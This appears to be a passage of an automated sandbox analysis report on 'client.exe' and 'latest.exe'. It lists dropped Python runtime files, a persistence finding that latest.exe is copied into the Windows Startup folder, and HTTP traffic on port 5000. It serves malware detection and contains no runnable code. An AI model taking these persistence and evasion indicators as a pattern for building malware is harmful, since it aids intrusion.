Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\win32gui.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\libffi-8.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\zstandard\backend_c.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\numpy\fft\_pocketfft_umath.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\charset_normalizer\md__mypyc.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\python312.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\cryptography\hazmat\bindings\_rust.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\numpy.libs\libscipy_openblas64_-c16e4918366c6bc1f1cd71e28ca36fc0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\_elementtree.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\select.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\zstandard\backend_c.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_multiprocessing.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\pywintypes312.dll	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\_brotli.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\pythoncom312.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\lxml\builder.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\_multiprocessing.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\charset_normalizer\md__mypyc.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\libssl-3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\cv2\opencv_videoio_ffmpeg4100_64.dll	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\numpy\linalg\_umath_linalg.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_overlapped.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\numpy\linalg\_umath_linalg.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\charset_normalizer\md.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\lxml\objectify.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\lxml\_elementpath.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\cv2\opencv_videoio_ffmpeg4100_64.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\lxml\objectify.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\PIL\_imagingcms.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\numpy\_core\_multiarray_tests.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\numpy\random\_sfc64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\libffi-8.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\vcruntime140_1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\lxml\etree.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_cffi_backend.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\numpy\random\_generator.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\numpy.libs\msvcp140-23ebcc0b37c8e3d074511f362feac48b.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_asyncio.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\zstandard\_cffi.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\charset_normalizer\md.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\bcrypt\_bcrypt.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\numpy\random\_generator.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\sqlite3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\PIL\_webp.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\_queue.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\psutil\_psutil_windows.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\PIL\_webp.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\_wmi.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\numpy\random\_bounded_integers.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\yaml\_yaml.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_socket.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\pyexpat.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_wmi.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\python3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\_cffi_backend.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\zstandard\backend_c.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\vcruntime140_1.dll	Jump to dropped file

Boot Survival

Drops PE files to the startup folder

Source: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\client.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\client.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\client.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49706

Source: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\all.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\all.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\all.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\all.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\numpy\random\_mt19937.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\pythoncom312.dll	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\lxml\builder.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_elementtree.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\numpy\random\bit_generator.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\numpy\random\bit_generator.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\_asyncio.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\charset_normalizer\md__mypyc.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\_uuid.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\pyexpat.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\python3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\cryptography\hazmat\bindings\_rust.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\_brotli.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\numpy\random\_mt19937.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_queue.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\numpy\random\_pcg64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\cv2\cv2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\psutil\_psutil_windows.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\numpy\random\_common.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\numpy\_core\_multiarray_umath.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\lxml\etree.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\_wmi.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\PIL\_imaging.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_brotli.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\_cffi_backend.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\yaml\_yaml.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\charset_normalizer\md.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\numpy\random\_philox.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\PIL\_imagingcms.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\numpy\random\_sfc64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\lxml\sax.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\numpy\random\_philox.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\numpy\random\_pcg64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\_queue.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\zstandard\_cffi.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\python3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\zstandard\_cffi.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\numpy\random\_common.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\numpy\_core\_multiarray_umath.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\lxml\_elementpath.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\cv2\cv2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\win32process.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\numpy\random\mtrand.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\bcrypt\_bcrypt.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\cryptography\hazmat\bindings\_rust.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\numpy\random\mtrand.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\PIL\_imaging.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\_overlapped.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\select.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\win32gui.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\lxml\sax.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\bcrypt\_bcrypt.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\numpy\_core\_multiarray_tests.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\pywintypes312.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_uuid.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\select.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\numpy\random\_bounded_integers.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\_socket.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\_socket.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\win32process.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\numpy\fft\_pocketfft_umath.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\win32gui.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\zstandard\backend_c.pyd	Jump to dropped file
